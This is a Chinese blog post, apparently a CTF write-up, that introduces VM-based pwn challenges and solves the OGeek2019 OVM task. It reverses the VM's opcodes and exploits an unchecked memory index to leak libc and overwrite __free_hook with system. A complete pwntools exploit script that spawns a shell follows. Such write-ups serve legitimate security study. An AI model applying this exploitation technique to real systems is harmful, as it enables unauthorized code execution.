【八芒星计划】 VM PWN

24 篇文章 1 订阅

这篇用来记录VM PWN
先申明本篇文章资料来源:

https://blog.csdn.net/weixin_44145820/article/details/106600382
https://www.anquanke.com/post/id/208450#h2-1
https://xz.aliyun.com/t/6865

文章目录

vm pwn最关键的就是逆向相关程序,理解每个指令的作用,漏洞大多数都是数组越界
先介绍一些基础的概念:

1.虚拟机保护技术
所谓虚拟机保护技术,是指将代码翻译为机器和人都无法识别的一串伪代码字节流;在具体执行时再对这些伪代码进行一一翻译解释,逐步还原为原始代码并执行。这段用于翻译伪代码并负责具体执行的子程序就叫作虚拟机VM(好似一个抽象的CPU)。它以一个函数的形式存在,函数的参数就是字节码的内存地址。

2.VStartVM
虚拟机的入口函数,对虚拟机环境进行初始化

3.VMDispather
解释opcode,并选择对应的Handler函数执行,当Handler执行完后会跳回这里,形成一个循环

4.opcode
程序可执行代码转换成的操作码

寄存器
PC 程序计数器,他存放的是一个内存地址,该地址中存放着 下一条 要执行的计算机指令
SP 指针寄存器,永远指向当前栈顶。
BP 基质指针。也是用于指向栈的某些位置,在调用函数的时候会用到它
AX 通用寄存器,我们的虚拟机中,它用于存放一条指令执行后的结果
在程序中 PC的初始值指向目标代码的 main 函数

指令集
虚拟机定义的时候 会定义一个 全局变量的 枚举类型 里面有我们需要的指令
如 :MOV,ADD 之类的

vm pwn会模拟出stack,寄存器,内存

[OGeek2019 Final]OVM

非常基础的一道vm pwn
先看main函数
在这里插入图片描述
读入pc,sp,codesize,code,然后执行execute,最后再往comment[0]所指向的地址写入内容,然后free comment[0]

看看execute函数
在这里插入图片描述
这里是本题最重要的部分,要仔细慢慢地逆向每个opcode

本题使用的是定长指令,一共32bits,每一个占8bits,操作码占用8bits,寄存器只占4bits,一共16个寄存器,格式如下

操作码 | 目的寄存器编号 | 操作数2寄存器编号 | 操作数1寄存器编号

模拟的寄存器,stack和内存
在这里插入图片描述

在这些数据的上方,可以找到stderr的指针,利用它可以得到_IO_2_1_stderr_的地址,该地址+0x10A8即为_free_hook

在这里插入图片描述
以下分析借用L.o.W师傅的

dst = (a1&0xf0000)>>16
dst = reg[dst]
op2 = (a1&0xf00)>>8
op2 = reg[ope2]
op1 = a1&0xf
op1 = reg[op1]

0x10:
dst = a1&0xff

0x20:
dst = ((a1&0xff)==0)

0x30:
dst = memory[op1]

0x40:
memory[op1] = dst

0x50:
tmp = reg[13]
reg[13]++
stack[tmp] = dst

0x60:
reg[13]--
dst = stack[reg[13]]

0x70:
dst = op1 + op2

0x80:
dst =  op2 - op1

0x90:
dst =  op1 & op2

0xA0:
dst =  op1 | op2

0xB0:
dst = op1 ^ op2

0xC0:
dst =  op2 << op1

0xD0:
dst =  op2 >> op1

0xE0:
running=0
if !reg[13]:
	exit
show all reg

我们可以看到
在这里插入图片描述
在这里插入图片描述
内存读写是没有检查下标的,这样就会产生数组越界漏洞

本题思路:
①利用数组越界漏洞让reg[2]和reg[3]得到_IO_2_1_stderr的地址
②利用指令组成出0x10A0
③让reg[2]+0x10A0
④利用数组越界把reg[2]和reg[3]的地址写入comment[0],也就是把free_hook-8的地址写入comment[0],然后退出打印所有寄存器的值,得到libc
⑤把/bin/sh和system写入comment[0],修改free_hook为system,最后sendcomment触发free来getshell

完整exp:

from pwn import *
from LibcSearcher import * 

local_file  = './ovm'
local_libc  = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc_buu = '/root/glibc-all-in-one/libs/buu/libc-2.23.so'

select = 0

if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('', )
    libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
     gdb.attach(r,cmd)
def opcode(code, dst, op1, op2):
	res = code<<24
	res += dst<<16
	res += op1<<8
	res += op2
	return str(res)
r.recvuntil("PC: ")
r.sendline('0')
r.recvuntil("SP: ")
r.sendline('1')
r.recvuntil("CODE SIZE: ")
r.sendline('24')
r.recvuntil("CODE: ")
sl(opcode(0x10, 0, 0, 26)) #reg[0] = -26
sl(opcode(0x80, 1, 1, 0)) #reg[1] = -26
sl(opcode(0x30, 2, 0, 1)) #reg[2] = memory[reg[1]]
sl(opcode(0x10, 0, 0, 25)) #reg[0] = 25
sl(opcode(0x10, 1, 0, 0)) #reg[1] = 0
sl(opcode(0x80, 1, 1, 0)) #reg[1] = -25
sl(opcode(0x30, 3, 0, 1)) #reg[3] = memory[reg[1]]

sl(opcode(0x10, 4, 0, 1)) #reg[4] = 1
sl(opcode(0x10, 5, 0, 12)) #reg[5] = 12
sl(opcode(0xc0, 4, 4, 5)) #reg[4] = 1<<12 = 1000
sl(opcode(0x10, 5, 0, 0xa)) #reg[5] = 0xa
sl(opcode(0x10, 6, 0, 4)) #reg[6] = 4
sl(opcode(0xc0, 5, 5, 6)) #reg[5] = 0xa0
sl(opcode(0x70, 4, 4, 5)) #reg[4] = reg[4]+reg[5] = 0x10a0
sl(opcode(0x70, 2, 4, 2)) #reg[2] = reg[4]+reg[2]

sl(opcode(0x10, 4, 0, 8)) #reg[4] = 8
sl(opcode(0x10, 1, 0, 0)) #reg[1] = 0
sl(opcode(0x80, 1, 1, 4)) #reg[1] = 0-8 = -8
sl(opcode(0x40, 2, 0, 1)) #memory[reg[1] = reg[2]]
sl(opcode(0x10, 5, 0, 7)) #reg[5] = 7
sl(opcode(0x10, 1, 0, 0)) #reg[1] = 0
sl(opcode(0x80, 1, 1, 5)) #reg[1] = reg[1] - reg[4] = -7
sl(opcode(0x40, 3, 0, 1)) #memory[reg[1]] = reg[3]
sl(opcode(0xe0, 0, 0, 0)) #exit

ru('R2: ')
low = int(rc(8), 16) + 8
ru('R3: ')
high = int(rc(4), 16)
print hex(low), hex(high)
libc_base = (high<<32) + low - libc.sym['__free_hook']
info('libc_base', libc_base)
system = libc_base + libc.sym['system']
sl('/bin/sh\x00'+p64(system))

r.interactive()

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值